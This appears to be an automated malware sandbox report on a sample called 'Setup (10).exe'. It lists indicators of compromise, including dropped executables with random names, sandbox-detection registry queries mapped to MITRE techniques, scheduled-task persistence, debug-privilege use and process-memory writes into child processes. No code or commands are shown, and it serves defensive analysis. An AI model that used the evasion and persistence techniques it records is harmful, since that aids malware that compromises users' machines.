
Program crash 42 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4672	1492	WerFault.exe	jV2gGv4Tv1hODxCmkwFIm2SC.exe
2764	4952	WerFault.exe	kPmhwLuYdptSxpC5nJ2HYGqi.exe
3024	2444	WerFault.exe	uBN1ITfzvkAYUZfRvt_zGg_E.exe
1352	996	WerFault.exe	9G06nUnsYSXedp8fNlz3CfEQ.exe
4236	3428	WerFault.exe	WHoLWEO0CFbdAtlN7HTKzKCw.exe
5944	1728	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
5052	5412	WerFault.exe
6424	7044	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
7456	1792	WerFault.exe	2720258.exe
4700	6092	WerFault.exe	7832981.exe
4608	7464	WerFault.exe	AEA.exe
2124	3912	WerFault.exe	explorer.exe
6008	6164	WerFault.exe	Spadille.exe
2676	3208	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
8932	8404	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
8432	8856	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
8904	8252	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
6612	5952	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
5652	5800	WerFault.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
8240	5464	WerFault.exe	Spadille.exe
3312	5348	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
6240	6492	WerFault.exe	Spadille.exe
10148	9752	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
7208	9600	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
9628	10044	WerFault.exe	Spadille.exe
10504	5236	WerFault.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
10788	11036	WerFault.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
11176	12280	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
14108	13748	WerFault.exe	Spadille.exe
13360	6088	WerFault.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
8844	7592	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
11924	3196	WerFault.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
15752	9704	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
15768	12340	WerFault.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
16132	8792	WerFault.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
18564	31128
20524	4980
23244	9808
32500	33964
35956	21052
36692	33164
23452	9324		1pBuL4NufYRWFacB9NlZzL2t.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

dGTpOqHh8qXCb6nq4EdERMAE.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	dGTpOqHh8qXCb6nq4EdERMAE.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	dGTpOqHh8qXCb6nq4EdERMAE.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	dGTpOqHh8qXCb6nq4EdERMAE.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe1pBuL4NufYRWFacB9NlZzL2t.exeWerFault.exeWerFault.exeWNQWi42NIFcn2gkCzJslMDRK.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exevpfD8i8ZWrn78q8eDZH3H6Qo.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	1pBuL4NufYRWFacB9NlZzL2t.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WNQWi42NIFcn2gkCzJslMDRK.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	1pBuL4NufYRWFacB9NlZzL2t.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	1pBuL4NufYRWFacB9NlZzL2t.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WNQWi42NIFcn2gkCzJslMDRK.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	1pBuL4NufYRWFacB9NlZzL2t.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	1pBuL4NufYRWFacB9NlZzL2t.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3300 schtasks.exe
2456 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

5764 timeout.exe

pid	process
3300	schtasks.exe
2456	schtasks.exe

pid	process
5764	timeout.exe

Enumerates system info in registry 2 TTPs 59 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exevpfD8i8ZWrn78q8eDZH3H6Qo.exeWerFault.exeWerFault.exeWerFault.exemsedge.exeWerFault.exeWerFault.exeWerFault.exeWNQWi42NIFcn2gkCzJslMDRK.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe1pBuL4NufYRWFacB9NlZzL2t.exeWerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WNQWi42NIFcn2gkCzJslMDRK.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WNQWi42NIFcn2gkCzJslMDRK.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	1pBuL4NufYRWFacB9NlZzL2t.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	1pBuL4NufYRWFacB9NlZzL2t.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

5196 taskkill.exe

pid	process
5196	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe

Modifies registry class 5 IoCs

Processes:

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f8278c54-a712-415b-b593-b77a2be0dda9}\Instance\
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5b934b42-522b-4c34-bbfe-37a3ef7b9c90}\Instance\

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	101	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	107	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Setup (10).exeWerFault.exeWerFault.exeWerFault.exeWerFault.exedGTpOqHh8qXCb6nq4EdERMAE.exeWerFault.exeWerFault.exe

pid	process
3784	Setup (10).exe
3784	Setup (10).exe
4672	WerFault.exe
4672	WerFault.exe
2764	WerFault.exe
2764	WerFault.exe
3024	WerFault.exe
3024	WerFault.exe
1352	WerFault.exe
1352	WerFault.exe
4644	dGTpOqHh8qXCb6nq4EdERMAE.exe
4644	dGTpOqHh8qXCb6nq4EdERMAE.exe
4236	WerFault.exe
4236	WerFault.exe
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
5944	WerFault.exe
5944	WerFault.exe
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120
3120

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3120

pid	process
3120

Suspicious behavior: MapViewOfSection 39 IoCs

Processes:

dGTpOqHh8qXCb6nq4EdERMAE.exeexplorer.exe

pid	process
4644	dGTpOqHh8qXCb6nq4EdERMAE.exe
3120
3120
3120
3120
3120
3120
3120
3120
5360	explorer.exe
5360	explorer.exe
5360	explorer.exe
5360	explorer.exe
3120
3120
5360	explorer.exe
5360	explorer.exe
3120
3120
5360	explorer.exe
5360	explorer.exe
5360	explorer.exe
5360	explorer.exe
3120
3120
5360	explorer.exe
5360	explorer.exe
3120
3120
5360	explorer.exe
5360	explorer.exe
5360	explorer.exe
5360	explorer.exe
3120
3120
5360	explorer.exe
5360	explorer.exe
5360	explorer.exe
5360	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

PmowFgflgwpO3w3iBU9Y4YnO.execJLn5MKrN8t2IeC4H2prr7nd.exeWerFault.exetaskkill.exe2720258.exeYNoV9DD0HJeUfa2cexjpQxMU.exe7832981.exekM_zMZ2q6JSoO00frsBoRw47.exeDAR2gT5USYSgOlkLHiQ5Ibhx.exe

description	pid	process
Token: SeDebugPrivilege	1904	PmowFgflgwpO3w3iBU9Y4YnO.exe
Token: SeDebugPrivilege	5040	cJLn5MKrN8t2IeC4H2prr7nd.exe
Token: SeRestorePrivilege	2764	WerFault.exe
Token: SeBackupPrivilege	2764	WerFault.exe
Token: SeBackupPrivilege	2764	WerFault.exe
Token: SeDebugPrivilege	5196	taskkill.exe
Token: SeDebugPrivilege	1792	2720258.exe
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeDebugPrivilege	4076	YNoV9DD0HJeUfa2cexjpQxMU.exe
Token: SeDebugPrivilege	6092	7832981.exe
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeDebugPrivilege	2428	kM_zMZ2q6JSoO00frsBoRw47.exe
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeDebugPrivilege	2788	DAR2gT5USYSgOlkLHiQ5Ibhx.exe
Token: SeShutdownPrivilege	3120
Token: SeCreatePagefilePrivilege	3120
Token: SeShutdownPrivilege	3120

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

fV5idJ6QtSpyo8yqb80UUS_a.tmpmsedge.exe

pid process

1752 fV5idJ6QtSpyo8yqb80UUS_a.tmp
3792 msedge.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

E02F.exe7FBD.exe

pid process

1320 E02F.exe
1256 7FBD.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

3120

pid	process
1320	E02F.exe
1256	7FBD.exe

pid	process
3120

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Setup (10).exe

description	pid	process	target process
PID 3784 wrote to memory of 4488	3784	Setup (10).exe	4HlrcO2wzfInGr4Ky7YAL33o.exe
PID 3784 wrote to memory of 4488	3784	Setup (10).exe	4HlrcO2wzfInGr4Ky7YAL33o.exe
PID 3784 wrote to memory of 4488	3784	Setup (10).exe	4HlrcO2wzfInGr4Ky7YAL33o.exe
PID 3784 wrote to memory of 4400	3784	Setup (10).exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 3784 wrote to memory of 4400	3784	Setup (10).exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 3784 wrote to memory of 4400	3784	Setup (10).exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 3784 wrote to memory of 4480	3784	Setup (10).exe	pZ21gI9glwA0_gE3DYI_MJ93.exe
PID 3784 wrote to memory of 4480	3784	Setup (10).exe	pZ21gI9glwA0_gE3DYI_MJ93.exe
PID 3784 wrote to memory of 4480	3784	Setup (10).exe	pZ21gI9glwA0_gE3DYI_MJ93.exe
PID 3784 wrote to memory of 4580	3784	Setup (10).exe	dGTpOqHh8qXCb6nq4EdERMAE.exe
PID 3784 wrote to memory of 4580	3784	Setup (10).exe	dGTpOqHh8qXCb6nq4EdERMAE.exe
PID 3784 wrote to memory of 4580	3784	Setup (10).exe	dGTpOqHh8qXCb6nq4EdERMAE.exe
PID 3784 wrote to memory of 4756	3784	Setup (10).exe	d7nxUIamT66Dlsgg7msaUJvx.exe
PID 3784 wrote to memory of 4756	3784	Setup (10).exe	d7nxUIamT66Dlsgg7msaUJvx.exe
PID 3784 wrote to memory of 4756	3784	Setup (10).exe	d7nxUIamT66Dlsgg7msaUJvx.exe
PID 3784 wrote to memory of 4828	3784	Setup (10).exe	JjSCu82ovNi2I3gZtNKOSOYV.exe
PID 3784 wrote to memory of 4828	3784	Setup (10).exe	JjSCu82ovNi2I3gZtNKOSOYV.exe
PID 3784 wrote to memory of 4076	3784	Setup (10).exe	YNoV9DD0HJeUfa2cexjpQxMU.exe
PID 3784 wrote to memory of 4076	3784	Setup (10).exe	YNoV9DD0HJeUfa2cexjpQxMU.exe
PID 3784 wrote to memory of 4076	3784	Setup (10).exe	YNoV9DD0HJeUfa2cexjpQxMU.exe
PID 3784 wrote to memory of 4540	3784	Setup (10).exe	_E1_K8fAVJy4HbXWR7S75JuG.exe
PID 3784 wrote to memory of 4540	3784	Setup (10).exe	_E1_K8fAVJy4HbXWR7S75JuG.exe
PID 3784 wrote to memory of 4540	3784	Setup (10).exe	_E1_K8fAVJy4HbXWR7S75JuG.exe
PID 3784 wrote to memory of 4952	3784	Setup (10).exe	kPmhwLuYdptSxpC5nJ2HYGqi.exe
PID 3784 wrote to memory of 4952	3784	Setup (10).exe	kPmhwLuYdptSxpC5nJ2HYGqi.exe
